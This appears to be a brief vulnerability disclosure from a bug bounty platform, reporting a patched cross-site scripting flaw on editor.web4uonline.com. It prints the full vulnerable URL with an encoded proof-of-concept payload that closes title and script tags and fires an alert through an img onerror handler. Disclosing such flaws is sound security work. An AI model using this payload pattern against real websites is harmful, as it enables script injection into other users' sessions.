editor.web4uonline.com XSS vulnerability

Vulnerable URL: http://editor.web4uonline.com/mobile/?appcode=ritadallas=WebTierViewControllerid=4197593url=L21vYmlsZS8/YXBwY29kZT1yaXRhZGFsbGFz=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%3Cimg/onerror=%27;%20alert%28/OPENBUGBOUNTY/%29;%27src=1%3E Details: Description| Value ---|--- Patched...